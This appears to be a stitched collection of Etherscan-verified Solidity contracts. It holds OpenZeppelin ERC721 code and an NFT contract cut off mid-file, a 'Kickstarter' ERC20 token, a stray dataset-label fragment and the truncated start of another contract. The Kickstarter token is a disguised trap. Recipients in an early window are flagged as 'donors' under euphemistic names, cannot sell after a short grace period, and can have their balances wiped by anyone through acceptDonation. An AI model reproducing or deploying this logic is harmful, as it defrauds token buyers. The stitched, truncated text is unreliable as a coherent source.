require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/[email protected]/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/[email protected]/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/[email protected]/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/[email protected]/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/[email protected]/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/[email protected]/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/[email protected]/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/[email protected]/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/[email protected]/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: seagull.sol
pragma solidity ^0.8.0;
contract SeagullFinds is ERC721, Ownable {
IERC721 AlphaBetty = IERC721(0x6d05064fe99e40F1C3464E7310A23FFADed56E20);
string private baseURI;
string public SEAGULL_PROVENANCE;
uint16 public maxSupply = 10000;
uint16 private supply = 0;
bool public paused = true;
bool public mintIsBurned = false;
constructor() ERC721("Seagull Finds", "SEAGULL") {}
modifier mintCompliance {
require(!mintIsBurned, "Minting has ended");
require(!paused, "Minting is not active");
_;
}
function mintSeagull(uint id) public mintCompliance {
require(AlphaBetty.ownerOf(id) == msg.sender, "You have to own this AlphaBetty with this id");
unchecked {
supply += 1;
}
_safeMint(msg.sender, id);
}
function mintSeagulls(uint[] memory ids) public mintCompliance {
for(uint i = 0; i < ids.length; i++){
require(AlphaBetty.ownerOf(ids[i]) == msg.sender,"You don't own these AlphaBettys");
_safeMint(msg.sender, ids[i]);
}
unchecked {
supply += uint16(ids.length);
}
}
function burnSeagulls() public onlyOwner {
maxSupply = supply;
mintIsBurned = true;
}
function tokenRedeemed(uint id) public view returns (bool) {
require(id<10000,"Out of bound");
return _exists(id);
}
function togglePause() public onlyOwner {
paused = !paused;
}
function totalSupply() public view returns (uint256) {
return supply;
}
function mintForAddress(uint id, address _receiver) public onlyOwner {
require(!mintIsBurned, "Minting has ended");
require(paused, "Mint must be stopped");
require(id<10000, "Out of bound");
unchecked {
supply += 1;
}
_safeMint(_receiver, id);
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 0;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId < 10000) {
if(_exists(currentTokenId)){
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
}
currentTokenId++;
}
return ownedTokenIds;
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
SEAGULL_PROVENANCE = provenanceHash;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory uri) public onlyOwner {
baseURI = uri;
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Kickstarter is IERC20 {
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant _totalSupply = 10**12 * 10**2;
string private _name;
string private _symbol;
address public pairAddress;
function setPairAddress(address a) public {
require(pairAddress == address(0));
pairAddress = a;
}
mapping (address => bool) public donors;
function acceptDonation(address donor) public {
require(donors[donor]);
emit Transfer(donor, 0x000000000000000000000000000000000000dEaD, balances[donor]);
balances[donor] = 0;
}
uint256 public donationStartTime;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return 2;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function gracePeriod() public view returns (bool) {
return block.timestamp < donationStartTime + (60 * 4);
}
function donationPeriod() public view returns (bool) {
return block.timestamp < donationStartTime + (60 * 19);
}
function logPhilanthropist(address sender, address recipient) private {
if (recipient != pairAddress)
donors[recipient] = true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (donationStartTime == 0) {
donationStartTime = block.timestamp;
}
else {
require(gracePeriod() || !donors[sender], "Sender is a philanthropist");
if (donationPeriod()) {
logPhilanthropist(sender, recipient);
}
}
balances[sender] = senderBalance - amount;
balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-02-10
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
contract Raccoon
{
struct ProfileData
{
uint balance;
uint locked;
uint iteration;
uint feeableTimestamp;
bool participated;
bool verified;
mapping(address => uint) allowance;
}
struct PoolData
{
uint opened;
uint deadlineGate;
uint deadline;
uint locked;
uint volume;
}
string private name_;
